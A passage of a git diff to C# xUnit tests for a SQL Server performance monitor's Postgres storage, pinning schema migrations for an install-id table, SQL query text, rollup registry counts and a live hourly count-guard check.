+        Assert.Contains(r.Notes, n => n.Contains("Same Keys Different Order", StringComparison.Ordinal));
+
+        string[] jargon = ["Stage 1", "adversarial", "Rule ", "LITERAL", "@debug", "the proc", "proc's", "key_columns", "is_unique", "partition_count", "port of", "out of scope"];
+
+        foreach (var note in r.Notes)
+        {
+            foreach (var word in jargon)
+            {
+                Assert.False(note.Contains(word, StringComparison.OrdinalIgnoreCase), $"developer wording '{word}' in a user-facing note: {note}");
+            }
+        }
+    }
+
     // ── Review-parity guards (sp_IndexCleanup fix waves ae32a4c / 0abb3ef) ────────────────────────
     // A constraint-backed index cannot be rebuilt with CREATE INDEX ... DROP_EXISTING (Msg 1907), so it
     // must never be the surviving side of a merge; a filtered or partitioned index must never be promoted
diff --git a/Darling/Darling.Tests/IndexUsageTruncationTests.cs b/Darling/Darling.Tests/IndexUsageTruncationTests.cs
index 8d549bbef3..4ab1b66a83 100644
--- a/Darling/Darling.Tests/IndexUsageTruncationTests.cs
+++ b/Darling/Darling.Tests/IndexUsageTruncationTests.cs
@@ -59,7 +59,7 @@ public sealed class IndexUsageTruncationTests
     public void TheQueryCarriesANullTolerantDatabasePredicate_AndABoundCap()
     {
         SqlTextPin.AssertExpresses(
-            "($2::text IS NULL OR database_name = $2::text)",
+            "($2::text[] IS NULL OR database_name = ANY($2))",
             ReaderSql,
             "there is no way to ask about one database");
         SqlTextPin.AssertExpresses("LIMIT $3", ReaderSql, "the cap is no longer the caller's to set");
@@ -79,7 +79,7 @@ public void TheMatchCountIsTakenBeforeTheCap_NotOverTheReturnedRows()
 
         SqlTextPin.AssertExpresses("SELECT count(*)", countSql, "the count is not a count");
         SqlTextPin.AssertExpresses(
-            "($2::text IS NULL OR database_name = $2::text)",
+            "($2::text[] IS NULL OR database_name = ANY($2))",
             countSql,
             "the count is over a different population than the rows");
 
@@ -99,7 +99,7 @@ public void TheCountAndTheRowsShareTheirFilter()
         {
             "WHERE server_id = $1",
             "collection_time = (SELECT MAX(collection_time) FROM v_index_object_stats WHERE server_id = $1)",
-            "($2::text IS NULL OR database_name = $2::text)",
+            "($2::text[] IS NULL OR database_name = ANY($2))",
         })
         {
             Assert.Contains(clause, ReaderSql, StringComparison.Ordinal);
diff --git a/Darling/Darling.Tests/InstallIdRungTests.cs b/Darling/Darling.Tests/InstallIdRungTests.cs
new file mode 100644
index 0000000000..09bb96a3c7
--- /dev/null
+++ b/Darling/Darling.Tests/InstallIdRungTests.cs
@@ -0,0 +1,134 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Reflection;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the Darling rung that holds the install id (#4961): one table, one row, made by the service at start and
+/// read by everything else. The id is the eight characters that tell this install's Extended Events sessions from
+/// another install's on a server both monitor, so the row carries the id and the binding that says which store it
+/// was made for (the cluster's <c>system_identifier</c> and the store database's OID). The rung is DDL only: the
+/// service inserts the row, so a store that has never started this build holds an empty table and the reads that
+/// need an id say so.
+///
+/// <para>Every fact finds the rung by NAME, so a renumber (another rung landing first) is one edit to the
+/// registration, the <c>StorageVersion</c> constant and the viewer's <c>return</c>.</para>
+/// </summary>
+public sealed class InstallIdRungTests
+{
+    /// <summary>The rung's registered name - how every test here (and the live reset helper) finds it.</summary>
+    public const string RungName = "install-id";
+
+    /// <summary>This rung's sentinel ordinal in the probe; the ordinal is a fact of the probe's shape, not of the
+    /// rung's number, so a renumber leaves it alone.</summary>
+    private const int ProbeOrdinal = 133;
+
+    private static PgMigrations.Migration Rung => PgMigrations.Scripts.Single(m => m.Name == RungName);
+
+    /// <summary>The rung's version, read off the migration registered under <see cref="RungName"/>.</summary>
+    public static int RungVersion => Rung.Version;
+
+    [Fact]
+    public void TheRungIsRegisteredInADenseLadder()
+    {
+        var versions = PgMigrations.Scripts.Select(s => s.Version).ToList();
+
+        /* No longer the top rung: V159 (the install id's table OID) landed above it. */
+        Assert.True(Rung.Version < StorageVersion.SchemaVersion);
+        Assert.Equal(StorageVersion.SchemaVersion, PgMigrations.Scripts[^1].Version);
+        Assert.Equal(StorageVersion.SchemaVersion, versions.Max());
+        Assert.Equal(versions.Distinct().OrderBy(v => v), versions);
+        Assert.Contains(Rung.Version - 1, versions);
+    }
+
+    /// <summary>
+    /// ONE table in the config schema, shaped like its neighbours: a single row pinned to <c>id = 1</c>, the id
+    /// under a CHECK for exactly eight lowercase hex digits, and the two binding columns: the database's OID NOT NULL
+    /// (every login can read it) and the cluster's identifier nullable (a managed or hardened server may refuse a login
+    /// the call that reads it, and the id is then bound to the database alone). No row is inserted here (the service
+    /// makes it) and nothing else is touched.
+    /// </summary>
+    [Fact]
+    public void TheRungCreatesOneSingleRowTable_WithTheIdFormatCheckAndTheBinding_AndNothingElse()
+    {
+        var sql = Rung.Sql.Replace("\r\n", "\n", StringComparison.Ordinal);
+        var body = Regex.Replace(sql, @"/\*.*?\*/", string.Empty, RegexOptions.Singleline);
+
+        Assert.Contains("CREATE TABLE IF NOT EXISTS config.config_install_id", body, StringComparison.Ordinal);
+        Assert.Single(Regex.Matches(body, "CREATE TABLE"));
+        Assert.Contains("id smallint NOT NULL PRIMARY KEY DEFAULT 1 CHECK (id = 1)", body, StringComparison.Ordinal);
+        Assert.Contains("install_id text NOT NULL", body, StringComparison.Ordinal);
+        Assert.Contains("CONSTRAINT ck_config_install_id_format CHECK (install_id ~ '^[0-9a-f]{8}$')", body, StringComparison.Ordinal);
+        Assert.Contains("system_identifier bigint,", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("system_identifier bigint NOT NULL", body, StringComparison.Ordinal);
+        Assert.Contains("database_oid bigint NOT NULL", body, StringComparison.Ordinal);
+        Assert.Contains("created_at timestamp NOT NULL DEFAULT (now() AT TIME ZONE 'UTC')", body, StringComparison.Ordinal);
+
+        foreach (var absent in new[] { "INSERT ", "UPDATE ", "DELETE ", "DROP ", "ALTER ", "CREATE INDEX", "TRIGGER", "VIEW" })
+        {
+            Assert.DoesNotContain(absent, body, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>
+    /// The viewer probe's sentinel carries this rung and the map has an arm for it: a missing arm maps a store that
+    /// reached this rung one rung short, permanently. It is no longer the top rung, so the arm sits below the newer
+    /// rung's and above the previous one's.
+    /// </summary>
+    [Fact]
+    public void TheProbeCarriesTheTable_AndMapsAStoreThroughThisRungToIt()
+    {
+        var probe = ViewerDataService.StoreSchemaProbeSql.Replace("\r\n", "\n", StringComparison.Ordinal);
+        var arm = "FROM information_schema.tables WHERE table_schema = 'config' AND table_name = 'config_install_id'";
+        Assert.Contains(arm, probe, StringComparison.Ordinal);
+
+        var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.cs");
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal})", viewer, StringComparison.Ordinal);
+
+        Assert.Equal(StorageVersion.SchemaVersion, ViewerDataService.RequiredStoreSchemaVersion);
+
+        var method = typeof(ViewerDataService).GetMethod("MapProbedSchemaVersion", BindingFlags.NonPublic | BindingFlags.Static)!;
+        var arity = method.GetParameters().Length;
+        Assert.True(ProbeOrdinal < arity - 1, "a newer rung's sentinel follows this one");
+        Assert.Equal("hasInstallId", method.GetParameters()[ProbeOrdinal].Name);
+
+        var all = Enumerable.Range(0, arity).Select(i => (object)(i <= ProbeOrdinal)).ToArray();
+        Assert.Equal(RungVersion, (int)method.Invoke(null, all)!);
+
+        var behind = (object[])all.Clone();
+        behind[ProbeOrdinal] = false;
+        Assert.Equal(RungVersion - 1, (int)method.Invoke(null, behind)!);
+
+        var nextArm = viewer.IndexOf("if (hasInstallIdTableOid)", StringComparison.Ordinal);
+        var thisArm = viewer.IndexOf("if (hasInstallId)", StringComparison.Ordinal);
+        var previousArm = viewer.IndexOf("if (hasMuteRuleServerId)", StringComparison.Ordinal);
+        Assert.True(thisArm >= 0, "the viewer has no sentinel arm for this rung - a store at this rung would map one rung short");
+        Assert.True(previousArm >= 0, "the previous rung's arm is gone, so this pin is comparing against nothing");
+        Assert.True(nextArm >= 0 && nextArm < thisArm, "the newer rung's arm sits above this one's");
+        Assert.True(thisArm < previousArm, "this rung's arm sits below the newer rung's and above the previous one's");
+        Assert.Contains("return " + RungVersion + ";", viewer[thisArm..previousArm], StringComparison.Ordinal);
+
+        /* The V71 finding: the table is named in the probe line and nowhere in the arm's prose - the coverage ratchet
+           strips information_schema lines but cannot strip a comment. The comment block sits ABOVE the `if`. */
+        var armProseStart = viewer.LastIndexOf("/* V", thisArm, StringComparison.Ordinal);
+        Assert.True(armProseStart >= 0, "the arm has no comment block saying why it exists");
+        var prose = viewer[armProseStart..thisArm];
+        foreach (var name in new[] { "config_install_id", "install_id", "system_identifier" })
+        {
+            Assert.DoesNotContain(name, prose, StringComparison.Ordinal);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/InstallIdTableOidRungTests.cs b/Darling/Darling.Tests/InstallIdTableOidRungTests.cs
new file mode 100644
index 0000000000..e0f4185477
--- /dev/null
+++ b/Darling/Darling.Tests/InstallIdTableOidRungTests.cs
@@ -0,0 +1,122 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Reflection;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Pins the Darling rung that adds the install id table's own OID (<c>config.config_install_id.table_oid</c>, nullable
+/// bigint) and the server's major version (<c>server_major</c>, nullable integer) to the binding for the id (#4961). A
+/// managed major upgrade keeps the database's OID and the table's OID, makes a new cluster id and raises the major, so the
+/// id follows the two OIDs, and a changed cluster id keeps it only when the major rose. The rung is one catalog-only
+/// ALTER: a row made before it has neither value, and the service fills both in on its first start after the rung. The
+/// table OID is the viewer probe's sentinel; the major arrives in the same statement.
+///
+/// <para>Every fact finds the rung by NAME, so a renumber is one edit to the registration, the constant and the
+/// viewer's <c>return</c>.</para>
+/// </summary>
+public sealed class InstallIdTableOidRungTests
+{
+    /// <summary>The rung's registered name - how every test here (and the live reset helpers) finds it.</summary>
+    public const string RungName = "install-id-table-oid";
+
+    /// <summary>This rung's sentinel ordinal in the probe; the ordinal is a fact of the probe's shape, not of the
+    /// rung's number, so a renumber leaves it alone.</summary>
+    private const int ProbeOrdinal = 134;
+
+    private static PgMigrations.Migration Rung => PgMigrations.Scripts.Single(m => m.Name == RungName);
+
+    /// <summary>The rung's version, read off the migration registered under <see cref="RungName"/>.</summary>
+    public static int RungVersion => Rung.Version;
+
+    [Fact]
+    public void TheRungIsRegisteredInADenseLadder()
+    {
+        var versions = PgMigrations.Scripts.Select(s => s.Version).ToList();
+
+        /* No longer the top rung: V160 (the collector run time) landed above it. */
+        Assert.True(Rung.Version < StorageVersion.SchemaVersion);
+        Assert.Equal(StorageVersion.SchemaVersion, PgMigrations.Scripts[^1].Version);
+        Assert.Equal(StorageVersion.SchemaVersion, versions.Max());
+        Assert.Equal(versions.Distinct().OrderBy(v => v), versions);
+        Assert.Contains(Rung.Version - 1, versions);
+    }
+
+    [Fact]
+    public void TheRungAddsTwoNullableColumns_IdempotentlyAndSchemaQualified_AndNothingElse()
+    {
+        var sql = Rung.Sql.Replace("\r\n", "\n", StringComparison.Ordinal);
+        var body = Regex.Replace(Regex.Replace(sql, @"/\*.*?\*/", string.Empty, RegexOptions.Singleline), @"\s+", " ").Trim();
+
+        /* One statement, so the two columns arrive together or not at all, and a second run changes nothing. */
+        Assert.Equal(
+            "ALTER TABLE config.config_install_id ADD COLUMN IF NOT EXISTS table_oid bigint, ADD COLUMN IF NOT EXISTS server_major integer;",
+            body);
+        Assert.Single(Regex.Matches(body, "ALTER TABLE"));
+        foreach (var absent in new[] { "NOT NULL", "DEFAULT", "INSERT ", "UPDATE ", "DELETE ", "DROP ", "CREATE ", "TRIGGER" })
+        {
+            Assert.DoesNotContain(absent, body, StringComparison.Ordinal);
+        }
+    }
+
+    /// <summary>
+    /// The viewer probe's sentinel carries this rung and the map has an arm for it: a missing arm maps a store that
+    /// reached this rung one rung short, permanently. It is no longer the top rung, so the arm sits below the newer
+    /// rung's and above the previous one's.
+    /// </summary>
+    [Fact]
+    public void TheProbeCarriesTheColumn_AndMapsAStoreThroughThisRungToIt()
+    {
+        var probe = ViewerDataService.StoreSchemaProbeSql.Replace("\r\n", "\n", StringComparison.Ordinal);
+        var arm = "table_schema = 'config' AND table_name = 'config_install_id' AND column_name = 'table_oid'";
+        Assert.Contains(arm, probe, StringComparison.Ordinal);
+
+        var viewer = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.cs");
+        Assert.Contains($"reader.GetBoolean({ProbeOrdinal})", viewer, StringComparison.Ordinal);
+
+        Assert.Equal(StorageVersion.SchemaVersion, ViewerDataService.RequiredStoreSchemaVersion);
+
+        var method = typeof(ViewerDataService).GetMethod("MapProbedSchemaVersion", BindingFlags.NonPublic | BindingFlags.Static)!;
+        var arity = method.GetParameters().Length;
+        Assert.True(ProbeOrdinal < arity - 1, "a newer rung's sentinel follows this one");
+        Assert.Equal("hasInstallIdTableOid", method.GetParameters()[ProbeOrdinal].Name);
+
+        var all = Enumerable.Range(0, arity).Select(i => (object)(i <= ProbeOrdinal)).ToArray();
+        Assert.Equal(RungVersion, (int)method.Invoke(null, all)!);
+
+        var behind = (object[])all.Clone();
+        behind[ProbeOrdinal] = false;
+        Assert.Equal(RungVersion - 1, (int)method.Invoke(null, behind)!);
+
+        var nextArm = viewer.IndexOf("if (hasCollectorRunAt)", StringComparison.Ordinal);
+        var thisArm = viewer.IndexOf("if (hasInstallIdTableOid)", StringComparison.Ordinal);
+        var previousArm = viewer.IndexOf("if (hasInstallId)", StringComparison.Ordinal);
+        Assert.True(thisArm >= 0, "the viewer has no sentinel arm for this rung - a store at this rung would map one rung short");
+        Assert.True(previousArm >= 0, "the previous rung's arm is gone, so this pin is comparing against nothing");
+        Assert.True(nextArm >= 0 && nextArm < thisArm, "the newer rung's arm sits above this one's");
+        Assert.True(thisArm < previousArm, "this rung's arm sits below the newer rung's and above the previous one's");
+        Assert.Contains("return " + RungVersion + ";", viewer[thisArm..previousArm], StringComparison.Ordinal);
+
+        /* The V71 finding: the column is named in the probe line and nowhere in the arm's prose - the coverage ratchet
+           strips information_schema lines but cannot strip a comment. The comment block sits ABOVE the `if`. */
+        var armProseStart = viewer.LastIndexOf("/* V", thisArm, StringComparison.Ordinal);
+        Assert.True(armProseStart >= 0, "the arm has no comment block saying why it exists");
+        var prose = viewer[armProseStart..thisArm];
+        foreach (var name in new[] { "config_install_id", "table_oid" })
+        {
+            Assert.DoesNotContain(name, prose, StringComparison.Ordinal);
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/IntervalFirstExecIndexRungTests.cs b/Darling/Darling.Tests/IntervalFirstExecIndexRungTests.cs
index 263f18b8b1..d6d9d1150a 100644
--- a/Darling/Darling.Tests/IntervalFirstExecIndexRungTests.cs
+++ b/Darling/Darling.Tests/IntervalFirstExecIndexRungTests.cs
@@ -20,8 +20,7 @@ namespace Darling.Tests;
 
 /// <summary>
 /// Pins Darling rung V153 (#4608, split #4615): a plain btree on <c>first_execution_time</c> for
-/// <c>query_store_interval_latest</c> (V143) only — the column both the daily retention sweep's
-/// <see cref="DarlingRetention.TimeSlicedDeleteSql"/> filters on and the read gate's per-server floor
+/// <c>query_store_interval_latest</c> (V143) only — the column the retention sweep filters on (the one-day slice then, the row-capped cursor form since #5569, pinned in <c>QueryStoreIntervalPurgeRowCappedTests</c>) and the read gate's per-server floor
 /// reads. V154 (<c>IntervalFirstExecIndexWideRungTests</c>) is the twin rung for
 /// <c>query_store_interval_wide</c>'s index, split into its own rung so each index build gets its own
 /// migration-command-timeout window. This file's "I am the top rung" claim moved to that class now that
@@ -136,45 +135,12 @@ public async Task AfterMigrate_TheLatestFirstExecIndexExists()
         }
     }
 
-    /// <summary>
-    /// The purge's plan (<see cref="DarlingRetention.TimeSlicedDeleteSql"/>) against the migrated schema
-    /// uses the new index for its outer scan and both <c>min()</c> subqueries — no Seq Scan (or the
-    /// equivalent full-index walk a leading-column-less plan would take) on the table. Seeded with rows
-    /// spanning two days so both the "nothing to delete" and the min()-subquery shapes are exercised.
-    /// </summary>
-    [Fact]
-    public async Task ThePurgesPlan_UsesTheIndex_NoSeqScan()
-    {
-        var baseConnectionString = ConnectionString;
-        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
-            "Set DARLING_TEST_PG to a Postgres connection string to run the V153 purge-plan pin.");
-
-        var ct = TestContext.Current.CancellationToken;
-
-        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
-        var bodySucceeded = false;
-        try
-        {
-            await using var connection = new NpgsqlConnection(scratch.ConnectionString);
-            await connection.OpenAsync(ct);
-            await PgMigrations.MigrateAsync(connection, ct);
-
-            await SeedIntervalLatestAsync(connection, ct, rowCount: 2000);
-            await ExecAsync(connection, ct, "VACUUM ANALYZE collect.query_store_interval_latest");
-
-            var sql = DarlingRetention.TimeSlicedDeleteSql("collect.query_store_interval_latest", "first_execution_time");
-            var plan = await ExplainAsync(connection, ct, sql, new DateTime(2026, 1, 3, 0, 0, 0, DateTimeKind.Unspecified));
-
-            Assert.DoesNotContain("Seq Scan", plan, StringComparison.Ordinal);
-            Assert.Contains("idx_query_store_interval_latest_first_exec", plan, StringComparison.Ordinal);
-
-            bodySucceeded = true;
-        }
-        finally
-        {
-            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (_, _) => { });
-        }
-    }
+    /* The purge's plan test that lived here ran the old one-day-slice statement, which the interval tables no
+       longer execute (#5569). The production statement is the row-capped cursor form, and its plan (ordered scan
+       of this index, no Seq Scan, no Sort, the cursor bound in the Index Cond) is pinned at a realistic row count
+       by QueryStoreIntervalPurgeRowCappedTests.ThePurgesPlan_IsAnOrderedIndexScan_NoSeqScan_NoSort: at the 2,000
+       rows this class seeds the planner correctly prefers a Sort over a Seq Scan, so a plan pin here proves
+       nothing about production. */
 
     /// <summary>
     /// The read gate's per-server floor (<see cref="QueryStoreIntervalLatest.PlainTableFloorSql"/>) also
diff --git a/Darling/Darling.Tests/IntervalHonestHourlyRollupTests.cs b/Darling/Darling.Tests/IntervalHonestHourlyRollupTests.cs
index 0db2ce71a2..1e427bffff 100644
--- a/Darling/Darling.Tests/IntervalHonestHourlyRollupTests.cs
+++ b/Darling/Darling.Tests/IntervalHonestHourlyRollupTests.cs
@@ -66,7 +66,8 @@ public void ThreePairs_LegacyFrozenOffTheGrid_SuccessorTakesItsHourlyPosition_Da
         var frozen = TimescaleSupport.FrozenRollupAggregates.Select(a => a.View).ToHashSet(StringComparer.Ordinal);
 
         Assert.Equal(3, TimescaleSupport.SupersededHourlyRollups.Length);
-        Assert.Equal(6, hourly.Length);
+        /* 6 + the two io hourlies #5329 appended (query_stats_io_hourly, procedure_stats_io_hourly). */
+        Assert.Equal(8, hourly.Length);
         Assert.Equal(6, TimescaleSupport.FrozenRollupAggregates.Length);
 
         foreach (var (legacy, successor, dependentDaily) in TimescaleSupport.SupersededHourlyRollups)
@@ -169,7 +170,8 @@ RawTierCoverage row of its own to gate. */
         Assert.True(RollupAvailability.All.AllPresent);
         /* 16 through #3653 Q12, +3 for the A6 successor DAILIES this lane registers
            (query_stats_interval_daily, procedure_stats_interval_daily, query_stats_db_interval_daily). */
-        Assert.Equal(19, TimescaleSupport.RollupViews.Length);
+        /* 19 through the A6 dailies, +2 for #5329's io hourlies. */
+        Assert.Equal(21, TimescaleSupport.RollupViews.Length);
     }
 
     /// <summary>
@@ -188,6 +190,12 @@ public void RawTierCoverage_IsExactlyEveryNonFrozenRollupThatReadsThatRawTableDi
             var expectedConsumers = TimescaleSupport.RollupViews
                 .Where(r => string.Equals(r.Source, row.Relation, StringComparison.Ordinal))
                 .Where(r => !TimescaleSupport.IsFrozenRollupAggregate(r.View))
+                /* #5329: the two io hourlies read raw directly and are deliberately NOT named in a raw purge
+                   gate (the #1661 rule: a fresh rollup must not hold the raw purge; the hole below an io
+                   floor is --backfill-rollups' job). The exemption is the product's own list
+                   (RawPurgeUngatedRollups, which the hole gate honors too) so a THIRD raw-direct consumer
+                   still has to be named or exempted. */
+                .Where(r => TimescaleSupport.HoldsRawPurge(r.View))
                 .Select(r => r.View)
                 .OrderBy(v => v, StringComparer.Ordinal)
                 .ToArray();
@@ -196,6 +204,28 @@ public void RawTierCoverage_IsExactlyEveryNonFrozenRollupThatReadsThatRawTableDi
         }
     }
 
+    /// <summary>
+    /// #5329: the raw purge's hole gate skips exactly the two io hourlies (the #1661 rule), every other rollup
+    /// still holds the purge, and every exempt view is a registered rollup (so a rename cannot leave a stale name
+    /// that exempts nothing).
+    /// </summary>
+    [Fact]
+    public void TheHoleGateExemption_IsExactlyTheTwoIoHourlies()
+    {
+        Assert.Equal(
+            new[] { TimescaleSupport.ProcedureStatsIoHourlyView, TimescaleSupport.QueryStatsIoHourlyView },
+            TimescaleSupport.RawPurgeUngatedRollups.OrderBy(v => v, StringComparer.Ordinal).ToArray());
+        foreach (var view in TimescaleSupport.RawPurgeUngatedRollups)
+        {
+            Assert.Contains(TimescaleSupport.MaterializationHoleTargets, t => t.View == view);
+        }
+
+        foreach (var target in TimescaleSupport.MaterializationHoleTargets)
+        {
+            Assert.Equal(!TimescaleSupport.RawPurgeUngatedRollups.Contains(target.View), TimescaleSupport.HoldsRawPurge(target.View));
+        }
+    }
+
     /// <summary>
     /// The successor is the legacy's shape plus the verdict: same FROM, same GROUP BY, every legacy select item
     /// under the same alias, the interval predicate in the WHERE, and <c>sum(sample_interval_seconds)</c>
diff --git a/Darling/Darling.Tests/IntervalRollupCountGuardLiveTests.cs b/Darling/Darling.Tests/IntervalRollupCountGuardLiveTests.cs
new file mode 100644
index 0000000000..dbcce558a9
--- /dev/null
+++ b/Darling/Darling.Tests/IntervalRollupCountGuardLiveTests.cs
@@ -0,0 +1,348 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// Live pins for <see cref="IntervalRollupCountGuard.QueryStatsSql"/> (#4605): the guard compares the hour ledger
+/// (<see cref="QueryStatsHourLedger"/>), not a raw scan, with the hourly rollup's <c>sum(sample_count)</c> per
+/// (server, hour), and returns <c>-1</c> for a window the ledger does not cover. Every fact seeds raw with direct INSERTs
+/// (which write no ledger row), then plays the writer's part with <see cref="QueryStatsHourLedger.RecountSql"/>.
+///
+/// <para>The cases: a match passes; a pair the rollup lacks fails; a ledger row nothing else has fails; a pair the ledger
+/// lacks fails; restart rows are excluded on both sides; the window start is inclusive and the end exclusive on the ledger
+/// side too; a window that starts before <c>counted_since</c> or a store with no state row returns -1, even when a
+/// count would also disagree.</para>
+///
+/// <para><b>#1776 own-store</b>: mints a scratch database because it materializes a continuous aggregate, so it is
+/// deliberately NOT in the <c>live-postgres</c> collection.</para>
+/// </summary>
+public sealed class IntervalRollupCountGuardLiveTests
+{
+    private const int ServerA = -944101;
+    private const int ServerB = -944102;
+    private const int ServerC = -944103;
+    private const int ServerGhost = -944104;
+    private const string NameA = "GuardServerA";
+    private const string NameB = "GuardServerB";
+    private const string NameC = "GuardServerC";
+    private const string NameGhost = "GuardServerGhost";
+
+    /// <summary>Fixed anchor, never wall-clock relative: three whole hours, [H1, H2).</summary>
+    private static readonly DateTime H1 = new(2026, 1, 5, 0, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime H2 = H1.AddHours(3);
+
+    [Fact]
+    public async Task TheGuard_ComparesTheLedgerWithTheRefreshedRollup_PerServerHour_AndReturnsMinusOneWhenTheLedgerDoesNotCoverTheWindow()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live count-guard test.");
+
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PrepareStoreAsync(connection, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            /* Two servers over three whole hours: ordinary rows, restart rows, one NULL-interval row. */
+            for (var h = 0; h < 3; h++)
+            {
+                await PlantAsync(connection, ct, ServerA, NameA, H1.AddHours(h).AddMinutes(5), 3600, "0xGA1");
+                await PlantAsync(connection, ct, ServerA, NameA, H1.AddHours(h).AddMinutes(25), 3600, "0xGA2");
+                await PlantAsync(connection, ct, ServerB, NameB, H1.AddHours(h).AddMinutes(15), 3600, "0xGB1");
+            }
+
+            await PlantAsync(connection, ct, ServerA, NameA, H1.AddMinutes(45), 0, "0xGA1");
+            await PlantAsync(connection, ct, ServerB, NameB, H1.AddHours(2).AddMinutes(45), 0, "0xGB2");
+            await PlantAsync(connection, ct, ServerB, NameB, H1.AddHours(1).AddMinutes(35), null, "0xGB3");
+            /* A server and hour with a restart row and nothing else: neither side has a row for it. */
+            await PlantAsync(connection, ct, ServerC, NameC, H1.AddHours(2).AddMinutes(20), 0, "0xGC0");
+            /* A row exactly at the exclusive end: outside [H1, H2) and outside the refresh, but the recount below gives the
+               ledger a row for hour H2, so the guard's end bound has something to exclude on the ledger side. */
+            await PlantAsync(connection, ct, ServerA, NameA, H2, 3600, "0xGA1");
+
+            await RefreshAsync(connection, H1, H2, ct);
+            await RecountAsync(connection, ct);
+            /* counted_since equal to the window start covers the window: the guard's test is <=, not <. */
+            await QueryStatsLedgerSeed.SetCountedSinceAsync(connection, H1, ct);
+            var scope = new[] { NameA, NameB };
+
+            Assert.Equal(0L, await GuardAsync(connection, scope, ct));
+            Assert.Equal(0L, await GuardAsync(connection, null, ct));
+
+            /* What the ledger holds: restart rows are not counted, a NULL interval is, and a restart-only pair has no row. */
+            Assert.Equal(2L, await ScalarAsync(connection, LedgerN(ServerA, H1), ct));
+            Assert.Equal(2L, await ScalarAsync(connection, LedgerN(ServerB, H1.AddHours(1)), ct));
+            Assert.Equal(1L, await ScalarAsync(connection, LedgerN(ServerB, H1.AddHours(2)), ct));
+            Assert.Equal(0L, await ScalarAsync(connection, "SELECT count(*) FROM collect.query_stats_hour_ledger WHERE server_id = -944103", ct));
+            Assert.Equal(1L, await ScalarAsync(connection,
+                "SELECT count(*) FROM collect.query_stats WHERE server_id = -944102 AND sample_interval_seconds IS NULL", ct));
+            Assert.Equal(1L, await ScalarAsync(connection,
+                "SELECT sum(sample_count) FROM collect.query_stats_interval_hourly WHERE server_id = -944102 AND query_hash = '0xGB3'", ct));
+
+            /* The ledger holds a row for hour H2 (the recount covered it), and the guard still ignores it: the end is exclusive. */
+            Assert.Equal(1L, await ScalarAsync(connection, LedgerN(ServerA, H2), ct));
+
+            /* One more restart row in a middle hour: neither side counts it, so a recount leaves the ledger as it was. */
+            await PlantAsync(connection, ct, ServerB, NameB, H1.AddHours(1).AddMinutes(55), 0, "0xGB2");
+            await RecountAsync(connection, ct);
+            Assert.Equal(2L, await ScalarAsync(connection, LedgerN(ServerB, H1.AddHours(1)), ct));
+            Assert.Equal(0L, await GuardAsync(connection, scope, ct));
+
+            /* One more non-restart row in a middle hour, after the refresh, counted into the ledger the way the writer
+               counts it: the ledger is ahead of the rollup, and one pair disagrees. */
+            await PlantAsync(connection, ct, ServerA, NameA, H1.AddHours(1).AddMinutes(50), 3600, "0xGA1");
+            await RecountAsync(connection, ct);
+            Assert.Equal(1L, await GuardAsync(connection, scope, ct));
+            await RefreshAsync(connection, H1, H2, ct);
+            Assert.Equal(0L, await GuardAsync(connection, scope, ct));
+
+            /* A third server, outside the scope array, whose pair the rollup has not seen: a pair the rollup lacks. Invisible
+               with the array, counted with NULL. */
+            await PlantAsync(connection, ct, ServerC, NameC, H1.AddHours(1).AddMinutes(10), 3600, "0xGC1");
+            await RecountAsync(connection, ct);
+            Assert.Equal(0L, await GuardAsync(connection, scope, ct));
+            Assert.Equal(1L, await GuardAsync(connection, null, ct));
+            await RefreshAsync(connection, H1, H2, ct);
+            Assert.Equal(0L, await GuardAsync(connection, null, ct));
+
+            /* Start is inclusive. One row exactly at H1, planted after the refresh and counted: the ledger has it (>= $1), the
+               rollup does not yet, so exactly one pair disagrees. A ledger side written as > $1 would not read it, and the
+               guard would read 0 here. Then refresh and it matches again. */
+            await PlantAsync(connection, ct, ServerB, NameB, H1, 3600, "0xGB4");
+            await RecountAsync(connection, ct);
+            Assert.Equal(1L, await GuardAsync(connection, scope, ct));
+            await RefreshAsync(connection, H1, H2, ct);
+            Assert.Equal(0L, await GuardAsync(connection, scope, ct));
+
+            /* A ledger row nothing else has (a server and hour with no raw rows and no rollup row) fails, but only in scope. */
+            await ExecuteAsync(connection,
